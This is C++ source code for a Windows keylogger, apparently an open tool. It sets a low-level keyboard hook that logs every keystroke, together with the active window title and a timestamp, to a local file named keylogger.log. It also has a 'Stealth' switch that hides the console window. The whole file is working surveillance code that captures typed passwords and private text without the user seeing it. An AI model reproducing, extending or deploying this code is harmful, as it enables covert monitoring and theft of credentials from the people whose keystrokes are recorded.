#invisible UNICODE
#include <Windows.h>
#include <cstdio>
#include <fstream>
#include <iostream>
#include <sstream>
#include <time.h>
#include <map>
// defines whether the window is visible or not
// should be solved with makefile, not in this file
#define visible // (visible / invisible)
// defines which format to use for logging
// 0 for default, 10 for dec codes, 16 for hex codex
#define FORMAT 0
// defines if ignore mouseclicks
#define mouseignore
// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
// or you will get problems since every function uses this variable.
#if FORMAT == 0
const std::map<int, std::string> keyname{
{VK_BACK, "[BACKSPACE]" },
{VK_RETURN, "\n" },
{VK_SPACE, "_" },
{VK_TAB, "[TAB]" },
{VK_SHIFT, "[SHIFT]" },
{VK_LSHIFT, "[LSHIFT]" },
{VK_RSHIFT, "[RSHIFT]" },
{VK_CONTROL, "[CONTROL]" },
{VK_LCONTROL, "[LCONTROL]" },
{VK_RCONTROL, "[RCONTROL]" },
{VK_MENU, "[ALT]" },
{VK_LWIN, "[LWIN]" },
{VK_RWIN, "[RWIN]" },
{VK_ESCAPE, "[ESCAPE]" },
{VK_END, "[END]" },
{VK_HOME, "[HOME]" },
{VK_LEFT, "[LEFT]" },
{VK_RIGHT, "[RIGHT]" },
{VK_UP, "[UP]" },
{VK_DOWN, "[DOWN]" },
{VK_PRIOR, "[PG_UP]" },
{VK_NEXT, "[PG_DOWN]" },
{VK_OEM_PERIOD, "." },
{VK_DECIMAL, "." },
{VK_OEM_PLUS, "+" },
{VK_OEM_MINUS, "-" },
{VK_ADD, "+" },
{VK_SUBTRACT, "-" },
{VK_CAPITAL, "[CAPSLOCK]" },
};
#endif
HHOOK _hook;
// This struct contains the data received by the hook callback. As you see in the callback function
// it contains the thing you will need: vkCode = virtual key code.
KBDLLHOOKSTRUCT kbdStruct;
int Save(int key_stroke);
std::ofstream output_file;
// This is the callback function. Consider it the event that is raised when, in this case,
// a key is pressed.
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
// the action is valid: HC_ACTION.
if (wParam == WM_KEYDOWN)
{
// lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
// save to file
Save(kbdStruct.vkCode);
}
}
// call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
void SetHook()
{
// Set the hook and set it to use the callback function above
// WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
// The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
// function that sets and releases the hook.
if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
{
LPCWSTR a = L"Failed to install hook!";
LPCWSTR b = L"Error";
MessageBox(NULL, a, b, MB_ICONERROR);
}
}
void ReleaseHook()
{
UnhookWindowsHookEx(_hook);
}
int Save(int key_stroke)
{
std::stringstream output;
static char lastwindow[256] = "";
#ifndef mouseignore
if ((key_stroke == 1) || (key_stroke == 2))
{
return 0; // ignore mouse clicks
}
#endif
HWND foreground = GetForegroundWindow();
DWORD threadID;
HKL layout = NULL;
if (foreground)
{
// get keyboard layout of the thread
threadID = GetWindowThreadProcessId(foreground, NULL);
layout = GetKeyboardLayout(threadID);
}
if (foreground)
{
char window_title[256];
GetWindowTextA(foreground, (LPSTR)window_title, 256);
if (strcmp(window_title, lastwindow) != 0)
{
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
// get time
time_t t = time(NULL);
struct tm tm;
localtime_s(&tm, &t);
char s[64];
strftime(s, sizeof(s), "%c", &tm);
output << "\n\n[Window: " << window_title << " - at " << s << "] ";
}
}
#if FORMAT == 10
output << '[' << key_stroke << ']';
#elif FORMAT == 16
output << std::hex << "[" << key_stroke << ']';
#else
if (keyname.find(key_stroke) != keyname.end())
{
output << keyname.at(key_stroke);
}
else
{
char key;
// check caps lock
bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
// check shift key
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0
|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
{
lowercase = !lowercase;
}
// map virtual key according to keyboard layout
key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout);
// tolower converts it to lowercase properly
if (!lowercase)
{
key = tolower(key);
}
output << char(key);
}
#endif
// instead of opening and closing file handlers every time, keep file open and flush.
output_file << output.str();
output_file.flush();
std::cout << output.str();
return 0;
}
void Stealth()
{
#ifdef visible
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window
#endif
#ifdef invisible
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window
#endif
}
int main()
{
// open output file in append mode
const char* output_filename = "keylogger.log";
std::cout << "Logging output to " << output_filename << std::endl;
output_file.open(output_filename, std::ios_base::app);
// visibility of window
Stealth();
// set the hook
SetHook();
// loop to keep the console application running.
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
}
}
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